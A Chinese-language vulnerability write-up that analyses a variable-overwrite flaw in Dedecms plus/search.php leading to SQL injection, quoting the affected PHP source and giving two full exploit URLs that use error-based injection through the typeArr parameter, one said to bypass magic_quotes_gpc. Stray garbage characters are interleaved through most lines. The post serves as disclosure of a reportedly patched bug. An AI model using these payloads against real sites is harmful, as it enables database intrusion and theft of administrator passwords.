微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.5 R4 t. S P) K. g. U4 |6 [7 _
作者: c4rp3nt3r@0x50sec.org
% f( i$ G8 K8 ~( a& | wDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.4 b9 S- h d$ @2 o9 \4 |
. c1 i* k2 K: s3 O# h$ k; M
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
8 k" N/ M+ }; x: W$ R ; `" S% S9 @! g1 t
============
' Y" f8 ~' I" p+ y. ^; r5 P- @, f
- |5 H, D b) q( k) m " f) K+ W: _# G, C
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码., Z, ]8 m* m: M. v6 G$ P$ s
1 i; ~' U4 [! T9 i( Z$ p
require_once(dirname(__FILE__).”/../include/common.inc.php”);" `! ^: i0 C3 Z
require_once(DEDEINC.”/arc.searchview.class.php”);, u( x8 \* S& c
+ ~& c* n9 o2 u; g$ n: ?$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
* v1 [+ k b F8 v0 P& J5 A$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
# p! i& M4 P; e' g* a$ Q" `6 v9 ]4 @$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;' c# G- S8 |; e4 [/ w
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;& o$ P( f& V8 B5 X* b
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;5 O# n/ `9 m" g, C2 e2 k' w
2 \3 c1 i" O g: U% O$ Eif(!isset($orderby)) $orderby=”;$ i5 ~) a1 }& l8 O
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);: \- a' y2 O6 F" A5 r1 W
% n. K. t5 t/ k6 N) {0 W7 E
# E- j2 C. r; m5 o* ?) Y
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
7 G: J: j! n/ oelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
' Q; A0 B8 ]; _$ i
, }0 v3 D: N6 Oif(!isset($keyword)){
2 [ U7 j, ?/ R' U if(!isset($q)) $q = ”;
7 x3 E0 e( X+ Y6 | $keyword=$q;
* s$ n$ U4 k P. r+ d+ {) e}
7 _+ l: f% B2 V# f' t
$ Z9 p1 C0 q3 s5 r2 j1 P' Z$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));6 Z+ q5 s* P, C0 C D* U0 t: ]& e6 g
0 i4 \" Z* ?6 P, Z6 ?1 j6 @1 z( o5 j//查找栏目信息4 \1 H5 g1 \4 q$ k L
if(empty($typeid))
/ d9 V/ i5 D0 ^) o) N% p& y{
6 J) ?( J5 I$ B! d $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;' v+ p; q/ ~1 S4 i$ ?
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
; I- J; o3 n- P4 l, O" v8 X4 ^ {
$ |8 X4 a2 i) X6 r& R1 F9 s $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
4 p; P; A0 f( @. p# [/ J4 P" t fwrite($fp, “<”.”?php\r\n”);+ m2 ^' O# ^4 i; T, S, S* l$ k
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
' L8 Y* P7 D" h$ S $dsql->Execute();2 o3 d: I0 w, G z* H' |' a
while($row = $dsql->GetArray())
A7 k0 w1 V% Z. N0 U8 f0 c {
: q# Z. W7 n+ _5 M: `% H0 m fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
, Q) h, @4 V" s3 C( ~, W1 u }4 w- h7 Z1 H# [
fwrite($fp, ‘?’.'>’);
; l! E2 g$ {# Q fclose($fp);* p* V3 }+ a7 c9 R+ X
}& H5 ~6 k: _3 N6 c5 T" r. b1 x
//引入栏目缓存并看关键字是否有相关栏目内容
1 p% Y# Z1 ]; P8 t require_once($typenameCacheFile);. z' c. m. P* H
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
$ J* F4 E$ f: m8 \& {//
0 d7 O5 d$ s/ w" x. y+ Z if(isset($typeArr) && is_array($typeArr))) }8 F* d2 G" i0 b% f
{' i% ^1 J% N6 U' l+ l; V
foreach($typeArr as $id=>$typename)
3 ~7 o" F& ]) f8 @8 p8 M {
5 N: J" \, P$ N 2 Z; E# ?5 M0 [
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过: x: E) C) K" _5 g+ ?& @ n% L; H, d
if($keyword != $keywordn)
6 S( B9 e) X0 i6 k1 n* v( z {
7 \) X! ^/ N, x. m $keyword = $keywordn;5 M# q1 `! `9 g
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设+ P2 @: x1 W( R" m8 r4 q/ S/ ~; n3 r
break;5 k$ h, S/ \: S% n" v
}# X0 x* Z/ R5 V/ x! ?
}
# ^0 u8 _% U& d }
$ d1 d- Q% D$ N9 C+ s}( D& N7 G a' l9 Y- m6 F+ `
然后plus/search.php文件下面定义了一个 Search类的对象 . K7 Q; r, g# m5 P8 _& E. z
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
2 m, q, K' H+ I- L. T* |$this->TypeLink = new TypeLink($typeid);
, N9 G1 H1 Y/ h( R9 o0 L j
. v$ }8 a$ |, ~4 _) [; ]TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.: @" P, Y; R- D9 {* I$ ^
* q' k& Y. g7 C# r
class TypeLink% b) v) h# i1 z7 `' D
{
3 o0 S( ]% Z/ y8 h: M X7 R Y' H& T6 F var $typeDir;
5 X' l6 O& n! }; J7 K @5 H var $dsql;4 p9 Q1 e6 b2 K
var $TypeID;5 Q( B7 L+ v( i/ B' `: n. C
var $baseDir;
% g* T7 c/ }& Q$ s" P0 W( a8 L8 e' Y var $modDir;
* p+ c9 b* S/ U8 v+ m R var $indexUrl;
/ x/ I7 n. ]9 t/ r var $indexName;
! o% p5 w/ Y+ D8 C var $TypeInfos;
, ^$ n" ]6 W& R) F2 A var $SplitSymbol;
6 j7 g1 w7 A0 _3 c var $valuePosition;; ?2 z3 @% _6 g( n: g( }
var $valuePositionName;
1 t( ]: w. G y) H+ n- r, f) u var $OptionArrayList;//构造函数///////
. O, s$ p2 w, D/ B/ E i W //php5构造函数; V5 \' x4 Z+ W: s
function __construct($typeid)
' y3 C0 h* ~1 d* [+ u+ s {
! s+ Y+ b( L, k9 E: z3 d1 l7 @* Q $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];$ j/ v; r8 }' }, `: J; p0 H. W0 R4 j
$this->indexName = $GLOBALS['cfg_indexname'];
" S* _2 `* l" Z( @. l $this->baseDir = $GLOBALS['cfg_basedir'];$ c. r, x, w& s" i& I
$this->modDir = $GLOBALS['cfg_templets_dir']; d. B$ X. ]1 G
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];5 ?4 J# Y9 O. }6 w+ i! Z
$this->dsql = $GLOBALS['dsql'];
( l1 h2 Y: a$ k0 o: c' l $this->TypeID = $typeid;- [5 n, Z4 h7 J' s2 P
$this->valuePosition = ”;
, s1 W6 G( }: @/ b $this->valuePositionName = ”;( V% C! ?7 F7 _
$this->typeDir = ”;$ E7 i! o. ~& t4 R- K
$this->OptionArrayList = ”;
9 M3 V3 ^0 E8 W( v2 s 8 D6 p8 e& L2 V: ]$ U" p" t
//载入类目信息6 q% Q4 _+ \. q: z/ T7 V
# c5 I% t7 |* w% {
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
9 @& Z* t( @' C4 j# A, y' bctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join$ f; a+ X% n) w7 N& e. Y0 o1 l
`#@__channeltype` ch
$ n/ k' i {9 f6 M on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿- C" k$ ?7 O3 i2 d
# j" U0 f/ t' K& q' S+ P& O7 a0 A; r if($typeid > 0)2 g7 \, p4 ~; {* Y
{
% a+ X1 V# g# c7 @: H8 d1 Z8 q $this->TypeInfos = $this->dsql->GetOne($query);/ G; q/ K% G2 w
利用代码一 需要 即使magic_quotes_gpc = Off
0 d# V9 @1 q9 _& h3 B / \! q. ], e5 p
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title5 S9 m; R; @" [5 d# l0 P2 `
% B% |" I/ P6 v' O. A2 j
这只是其中一个利用代码… Search 类的构造函数再往下
& E7 `* U! C, c. C2 x) h ^ m
+ K+ b' f& k/ f# [5 ?……省略9 y8 s5 B7 }6 E( m8 w+ g
$this->TypeID = $typeid;" a6 }- U/ w% D6 s
……省略/ ?) t' o5 X. A7 ?
if($this->TypeID==”0″){) N8 B8 A/ v# F
$this->ChannelTypeid=1;
* D& G7 G4 u; t, p" [$ H }else{5 E8 c" e+ L$ k8 c7 ]
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲' _7 I: k+ _8 U1 |& ]/ ]5 P! q; m
//现在不鸡肋了吧亲…# }$ h' m) Y# `9 n. @
$this->ChannelTypeid=$row['channeltype'];
8 R3 u5 s' o, U; `1 Z* o/ n
: f% G( a& { i. K; l: N } i- ~4 F7 r* ~4 f; W
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.( l- ^. D) R9 Y2 c; k \- n
5 x; X( g0 W; [: Hwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
0 E/ s$ L+ a" n$ \
/ H+ E: U# n$ h如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
; |# ~$ D$ R L, K' S |